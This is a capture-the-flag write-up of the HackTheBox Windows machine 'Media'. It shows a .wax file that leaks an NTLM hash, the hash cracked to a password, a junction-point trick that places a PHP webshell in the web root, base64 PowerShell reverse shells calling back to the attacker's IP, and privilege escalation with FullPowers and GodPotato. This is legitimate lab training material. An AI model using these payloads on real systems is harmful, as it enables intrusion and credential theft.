HTB: Media

Media starts with a PHP site on Windows that takes video uploads. I’ll use a wax file to leak a net-NTLMv2 hash, and then crack it to get SSH access to the host. I’ll understand how the webserver is writing the files to the filesystem, and use a junction point link to have it write into the web root, allowing me to upload a webshell and get access as local service. I’ll use FullPowers to enable the SeImpersonatePrivilage, and then GodPotato to get System.
Box Info
Name | Media ![]() Play on HackTheBox |
---|---|
Release Date | 04 Sep 2025 |
Retire Date | 04 Sep 2025 |
OS | Windows ![]() |
Base Points | Medium [30] |
![]() |
N/A (non-competitive) |
![]() |
N/A (non-competitive) |
Creator |
Recon
Initial Scanning
nmap
finds three open TCP ports, SSH (22), HTTP (80), and RDP (3389):
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.190.66
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-04 15:06 UTC
...[snip]...
Nmap scan report for 10.129.190.66
Host is up, received echo-reply ttl 127 (0.023s latency).
Scanned at 2025-09-04 15:06:22 UTC for 13s
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 127
80/tcp open http syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.38 seconds
Raw packets sent: 131081 (5.768MB) | Rcvd: 14 (600B)
oxdf@hacky$ nmap -p 22,80,3389 -sCV 10.129.190.66
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-04 15:06 UTC
Nmap scan report for 10.129.190.66
Host is up (0.022s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_9.5 (protocol 2.0)
80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
|_http-title: ProMotion Studio
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=MEDIA
| Not valid before: 2025-04-15T03:36:52
|_Not valid after: 2025-10-15T03:36:52
| rdp-ntlm-info:
| Target_Name: MEDIA
| NetBIOS_Domain_Name: MEDIA
| NetBIOS_Computer_Name: MEDIA
| DNS_Domain_Name: MEDIA
| DNS_Computer_Name: MEDIA
| Product_Version: 10.0.20348
|_ System_Time: 2025-09-04T15:07:07+00:00
|_ssl-date: 2025-09-04T15:07:12+00:00; +2s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.48 seconds
The box has RDP (3389) open, which is typically associated with a Windows Client / Server. SSH is less common on Windows, but the banners show it’s also Windows.
I’ll use netexec
to make a hosts
file entry and put it at the top of my /etc/hosts
file:
All of the ports show a TTL of 127, which matches the expected TTL for Windows one hop away.
Website - TCP 80
Site
The website is for a website services company:
All the links on the page go to places on the same page. The only interesting bit is the form at the bottom:

It says the uploaded files should be compatible with Windows Media Player. I can fill out the form and give it any file (for example, a JPG), and it returns:

Tech Stack
The HTTP response headers show that the site is PHP:
HTTP/1.1 200 OK
Date: Thu, 04 Sep 2025 15:15:24 GMT
Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
X-Powered-By: PHP/8.1.17
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 18617
The main site loads as /index.php
as well.
The 404 page is the default Apache 404:

This leaks the Apache and PHP versions as well.
Directory Brute Force
I’ll run feroxbuster
against the site, and include -x php
since I know the site is PHP, and with a lowercase wordlist since it’s Windows:
oxdf@hacky$ feroxbuster -u http://10.129.190.66 -x php -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.129.190.66
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 9l 30w 303c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 33w 300c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 30w 336c http://10.129.190.66/js => http://10.129.190.66/js/
301 GET 9l 30w 337c http://10.129.190.66/css => http://10.129.190.66/css/
200 GET 42l 91w 4137c http://10.129.190.66/assets/img/logos/microsoft.svg
200 GET 54l 136w 1654c http://10.129.190.66/js/scripts.js
200 GET 34l 81w 3223c http://10.129.190.66/assets/img/logos/facebook.svg
200 GET 35l 83w 3282c http://10.129.190.66/assets/img/logos/google.svg
200 GET 41l 211w 17529c http://10.129.190.66/assets/img/about/2.jpg
200 GET 24l 91w 2284c http://10.129.190.66/assets/img/logos/ibm.svg
200 GET 280l 961w 71959c http://10.129.190.66/assets/img/team/1.jpg
200 GET 56l 371w 28555c http://10.129.190.66/assets/img/about/4.jpg
200 GET 59l 368w 34985c http://10.129.190.66/assets/img/about/1.jpg
301 GET 9l 30w 340c http://10.129.190.66/assets => http://10.129.190.66/assets/
200 GET 72l 408w 31771c http://10.129.190.66/assets/img/about/3.jpg
200 GET 8l 29w 28898c http://10.129.190.66/assets/favicon.ico
200 GET 229l 1232w 110331c http://10.129.190.66/assets/img/team/2.jpg
200 GET 226l 1276w 102947c http://10.129.190.66/assets/img/team/3.jpg
200 GET 11316l 23841w 250501c http://10.129.190.66/css/styles.css
200 GET 335l 1183w 18617c http://10.129.190.66/
403 GET 11l 47w 422c http://10.129.190.66/webalizer
200 GET 1l 62w 14220c http://10.129.190.66/assets/img/navbar-logo.svg
200 GET 1l 19w 333c http://10.129.190.66/assets/img/close-icon.svg
200 GET 70l 590w 56758c http://10.129.190.66/assets/img/portfolio/2.jpg
200 GET 165l 543w 47433c http://10.129.190.66/assets/img/portfolio/4.jpg
403 GET 11l 47w 422c http://10.129.190.66/phpmyadmin
200 GET 335l 1183w 18617c http://10.129.190.66/index.php
200 GET 103l 336w 29948c http://10.129.190.66/assets/img/portfolio/3.jpg
200 GET 72l 435w 30913c http://10.129.190.66/assets/img/portfolio/1.jpg
200 GET 113l 706w 57871c http://10.129.190.66/assets/img/portfolio/6.jpg
200 GET 92l 350w 29256c http://10.129.190.66/assets/img/portfolio/5.jpg
200 GET 943l 7123w 673180c http://10.129.190.66/assets/img/map-image.png
503 GET 11l 44w 403c http://10.129.190.66/examples
403 GET 11l 47w 422c http://10.129.190.66/licenses
403 GET 11l 47w 422c http://10.129.190.66/server-status
403 GET 11l 47w 422c http://10.129.190.66/server-info
[####################] - 55s 26651/26651 0s found:34 errors:1
[####################] - 54s 26584/26584 488/s http://10.129.190.66/
[####################] - 0s 26584/26584 492296/s http://10.129.190.66/js/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s 26584/26584 60145/s http://10.129.190.66/css/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s 26584/26584 85755/s http://10.129.190.66/assets/img/about/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s 26584/26584 98459/s http://10.129.190.66/assets/img/logos/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s 26584/26584 94605/s http://10.129.190.66/assets/img/team/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 1s 26584/26584 43296/s http://10.129.190.66/assets/img/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s 26584/26584 101466/s http://10.129.190.66/assets/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s 26584/26584 173752/s http://10.129.190.66/assets/img/portfolio/ => Directory listing (add --scan-dir-listings to scan)
Nothing interesting here.
Shell as enox
NTLM Capture
Background
The file upload seems like the most likely point of attack. In searching for ways to attack Windows Media Player, I’ll find an article from Morphisec, “NTLM Privilege Escalation: The Unpatched Microsoft Vulnerabilities No One is Talking About”. It has five examples, and the forth is about .wax
files, which are audio shortcuts for Windows Media Player. When opened with Windows Media Player, these will try to fetch a media stream from a server defined in the file, authenticating with their NTLM hash if necessary.
Generate .wax
The article above has an example file which I’ll copy. It’s simple XML:
<asx version="3.0">
<title>Leak</title>
<entry>
<title></title>
<ref href="file://10.10.14.148\test\0xdf.mp3"/>
</entry>
</asx>
The ntlm_theft repo can generate this as well (and a couple other Windows Media Player compatible files).
Responder
I’ll fire up Responder with sudo uv run --script Responder.py
(after adding inetfaces
package to the inline metadata if I hadn’t before with uv add --script Responder.py netifaces
; see my uv cheatsheet for details). About a minute after I upload the .wax
file, there’s a hit:
oxdf@hacky$ sudo uv run --script Responder.py -I tun0
...[snip]...
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.129.190.66
[SMB] NTLMv2-SSP Username : MEDIA\enox
[SMB] NTLMv2-SSP Hash : enox::MEDIA:76cfab6bd4aa1cd5:0E8659AEFE42DDB294D71D24CF73B132:01010000000000000033A321B21DDC014CC49B403556B6BC00000000020008004800510042004F0001001E00570049004E002D00410039004800560044004A005A0048004C004300370004003400570049004E002D00410039004800560044004A005A0048004C00430037002E004800510042004F002E004C004F00430041004C00030014004800510042004F002E004C004F00430041004C00050014004800510042004F002E004C004F00430041004C00070008000033A321B21DDC0106000400020000000800300030000000000000000000000000300000BBFD9C8C6065836836AC9A1DC036176844E63060B66234C63D37026259D006220A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100340038000000000000000000
[*] Skipping previously captured hash for MEDIA\enox
[*] Skipping previously captured hash for MEDIA\enox
[*] Skipping previously captured hash for MEDIA\enox
[*] Skipping previously captured hash for MEDIA\enox
Crack Hash
I’ll save the hash to a file, and pass it to hashcat
, which detects the mode and cracks it with rockyou.txt
in a few seconds:
$ hashcat enox.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
5600 | NetNTLMv2 | Network Protocol
...[snip]...
ENOX::MEDIA:76cfab6bd4aa1cd5:0e8659aefe42ddb294d71d24cf73b132:01010000000000000033a321b21ddc014cc49b403556b6bc00000000020008004800510042004f0001001e00570049004e002d00410039004800560044004a005a0048004c004300370004003400570049004e002d00410039004800560044004a005a0048004c00430037002e004800510042004f002e004c004f00430041004c00030014004800510042004f002e004c004f00430041004c00050014004800510042004f002e004c004f00430041004c00070008000033a321b21ddc0106000400020000000800300030000000000000000000000000300000bbfd9c8c6065836836ac9a1dc036176844e63060b66234c63d37026259d006220a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e003100340038000000000000000000:1234virus@
...[snip]...
SSH
This works over SSH to get a shell:
oxdf@hacky$ sshpass -p '1234virus@' ssh enox@10.129.190.66
Warning: Permanently added '10.129.190.66' (ED25519) to the list of known hosts.
Microsoft Windows [Version 10.0.20348.4052]
(c) Microsoft Corporation. All rights reserved.
enox@MEDIA C:\Users\enox>
And I can grab user.txt
:
enox@MEDIA C:\Users\enox\Desktop>type user.txt
47a835d0************************
I can also switch to PowerShell for a better experience:
enox@MEDIA C:\>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\>
Shell as local service
Enumeration
Users
There are no other users besides Administrator with a home directory in \Users
:
PS C:\Users> ls
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/1/2023 11:48 PM Administrator
d----- 10/2/2023 10:26 AM enox
d-r--- 10/1/2023 11:48 PM Public
There are only two interesting files:
PS C:\Users> tree /f .
Folder PATH listing
Volume serial number is 00000271 EAD8:5D48
C:\USERS
├───Administrator
├───enox
│ ├───Desktop
│ │ user.txt
│ │
│ ├───Documents
│ │ review.ps1
│ │
│ ├───Downloads
│ ├───Favorites
│ ├───Links
│ ├───Music
│ ├───Pictures
│ ├───Saved Games
│ └───Videos
└───Public
review.ps1
is the automation for opening uploads from the form with Windows Media Player. It defines two functions, and then has an infinite loop:
while($True){
if ((Get-Content -Path $todofile) -eq $null) {
Write-Host "Todo is empty."
Sleep 60 # Sleep for 60 seconds before rechecking
}
else {
$result = Get-Values -FilePath $todofile
$filename = $result.FileName
$randomVariable = $result.RandomVariable
Write-Host "FileName: $filename"
Write-Host "Random Variable: $randomVariable"
# Opening the File in Windows Media Player
Start-Process -FilePath $mediaPlayerPath -ArgumentList "C:\Windows\Tasks\uploads\$randomVariable\$filename"
# Wait for 15 seconds
Start-Sleep -Seconds 15
$mediaPlayerProcess = Get-Process -Name "wmplayer" -ErrorAction SilentlyContinue
if ($mediaPlayerProcess -ne $null) {
Write-Host "Killing Windows Media Player process."
Stop-Process -Name "wmplayer" -Force
}
# Task Done
UpdateTodo -FilePath $todofile # Updating C:\Windows\Tasks\Uploads\todo.txt
Sleep 15
}
}
Web Uploads
In C:\Windows\Tasks\Uploads
I’ll find an empty todo.txt
, along with some directories that look like MD5 hashes:
PS C:\Windows\Tasks\Uploads> ls
Directory: C:\Windows\Tasks\Uploads
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/4/2025 8:25 AM 33d81ad509ef34a2635903babb285882
d----- 9/4/2025 8:29 AM 5df2dc6202bacd28271760a091d6b2bf
d----- 9/4/2025 8:40 AM a7246e6c505d873ba68e05840d9fa696
d----- 9/4/2025 8:26 AM f23005bf2de7344d680b75f0e90a8016
-a---- 9/4/2025 8:41 AM 0 todo.txt
The directories contain the uploaded files:
PS C:\Windows\Tasks\Uploads> ls .\a7246e6c505d873ba68e05840d9fa696\
Directory: C:\Windows\Tasks\Uploads\a7246e6c505d873ba68e05840d9fa696
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/4/2025 8:40 AM 135 leak.wax
Website
The website lives in C:\xampp\htdocs
:
PS C:\xampp\htdocs> ls
Directory: C:\xampp\htdocs
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/2/2023 10:27 AM assets
d----- 10/2/2023 10:27 AM css
d----- 10/2/2023 10:27 AM js
-a---- 10/10/2023 5:00 AM 20563 index.php
index.php
is large, but most of it is static HTML. The PHP that handles the uploads is at the top:
<?php
error_reporting(0);
// Your PHP code for handling form submission and file upload goes here.
$uploadDir = 'C:/Windows/Tasks/Uploads/'; // Base upload directory
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["fileToUpload"])) {
$firstname = filter_var($_POST["firstname"], FILTER_SANITIZE_STRING);
$lastname = filter_var($_POST["lastname"], FILTER_SANITIZE_STRING);
$email = filter_var($_POST["email"], FILTER_SANITIZE_STRING);
// Create a folder name using the MD5 hash of Firstname + Lastname + Email
$folderName = md5($firstname . $lastname . $email);
// Create the full upload directory path
$targetDir = $uploadDir . $folderName . '/';
// Ensure the directory exists; create it if not
if (!file_exists($targetDir)) {
mkdir($targetDir, 0777, true);
}
// Sanitize the filename to remove unsafe characters
$originalFilename = $_FILES["fileToUpload"]["name"];
$sanitizedFilename = preg_replace("/[^a-zA-Z0-9._]/", "", $originalFilename);
// Build the full path to the target file
$targetFile = $targetDir . $sanitizedFilename;
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetFile)) {
echo "<script>alert('Your application was successfully submitted. Our HR shall review your video and get back to you.');</script>";
// Update the todo.txt file
$todoFile = $uploadDir . 'todo.txt';
$todoContent = "Filename: " . $originalFilename . ", Random Variable: " . $folderName . "\n";
// Append the new line to the file
file_put_contents($todoFile, $todoContent, FILE_APPEND);
} else {
echo "<script>alert('Uh oh, something went wrong... Please submit again');</script>";
}
}
?>
When there’s an upload, it creates the MD5 folder name I previous observed using a combination of the first name, last name, and email:
$folderName = md5($firstname . $lastname . $email);
Then it checks if that doesn’t exist, and creates it if not, and then writes the file to that directory, and updates the todo.txt
used by review.ps1
.
Arbitrary File Write
Strategy
enox has write privileges in the Uploads
directory (has to in order to write todo.txt
).
Upload Webshell
I’ll upload a file with the following details:

It shows up in 33d81ad509ef34a2635903babb285882
:
PS C:\windows\Tasks\Uploads> ls .\33d81ad509ef34a2635903babb285882\
Directory: C:\windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/4/2025 11:07 AM 35 shell.php
I’ll remove that entire directory:
PS C:\windows\Tasks\Uploads> rm .\33d81ad509ef34a2635903babb285882\shell.php
PS C:\windows\Tasks\Uploads> rm .\33d81ad509ef34a2635903babb285882\
Now I’ll make a link:
PS C:\> cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
Junction created for C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 <<===>> C:\xampp\htdocs
PS C:\> ls .\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882\
Directory: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/2/2023 10:27 AM assets
d----- 10/2/2023 10:27 AM css
d----- 10/2/2023 10:27 AM js
-a---- 10/10/2023 5:00 AM 20563 index.php
Now I’ll upload the webshell again, the same as above. It works:
PS C:\> ls C:\xampp\htdocs\
Directory: C:\xampp\htdocs
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/2/2023 10:27 AM assets
d----- 10/2/2023 10:27 AM css
d----- 10/2/2023 10:27 AM js
-a---- 10/10/2023 5:00 AM 20563 index.php
-a---- 9/4/2025 11:12 AM 35 shell.php
And it gives execution:
oxdf@hacky$ curl http://10.129.190.66/shell.php?cmd=whoami
nt authority\local service
Shell
I’ll grab a PowerShell #3 (Base64) reverse shell from revshells.com and give it to the webshell:
oxdf@hacky$ curl http://10.129.190.66/shell.php --data-urlencode 'cmd=powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA0ADgAIgAsADQANAAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=='
This just hangs, but at nc
:
oxdf@hacky$ rlwrap -cAr nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.129.190.66 59283
PS C:\xampp\htdocs>
Shell as SYSTEM
Get SeImpersonatePrivilege
Enumeration
I would expect that the local service user running the webserver would have SeImpersonatePrivilege
, but it doesn’t show up from the shell:
PS C:\xampp\htdocs> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= =================================== ========
SeTcbPrivilege Act as part of the operating system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
The privileges have been limited to prevent exploitation.
FullPowers
There’s a nice tool, FullPowers, designed to restore the default privilege set for the account by creating a scheduled task and running it. I’ll download a copy from the release page and upload it to Media using scp
:
oxdf@hacky$ sshpass -p '1234virus@' scp FullPowers.exe enox@10.129.190.66:/programdata/
Now I just run it with the -c
option and a reverse shell, and the -z
option for non-interactive:
PS C:\programdata> .\FullPowers.exe -c 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA0ADgAIgAsADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==' -z
At nc
there’s a shell:
oxdf@hacky$ rlwrap -cAr nc -lnvp 444
Listening on 0.0.0.0 444
Connection received on 10.129.190.66 59290
PS C:\Windows\system32>
This shell has a full set of privileges for local service:
PS C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
GodPotato
To exploit SeImpersonatePrivilege
, I’ll use GodPotato. I’ll download the latest release and upload it to Media:
oxdf@hacky$ sshpass -p '1234virus@' scp GodPotato-NET4.exe enox@10.129.190.66:/programdata/gp.exe
I’ll run it with -cmd
and another reverse shell:
PS C:\programdata> .\gp.exe -cmd 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA0ADgAIgAsADQANAA1ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=='
This hangs, but at another nc
, there’s a shell as system:
oxdf@hacky$ rlwrap -cAr nc -lnvp 445
Listening on 0.0.0.0 445
Connection received on 10.129.190.66 59294
PS C:\programdata> whoami
nt authority\system
And read the root flag:
PS C:\Users\Administrator\Desktop> cat root.txt
6b37e846************************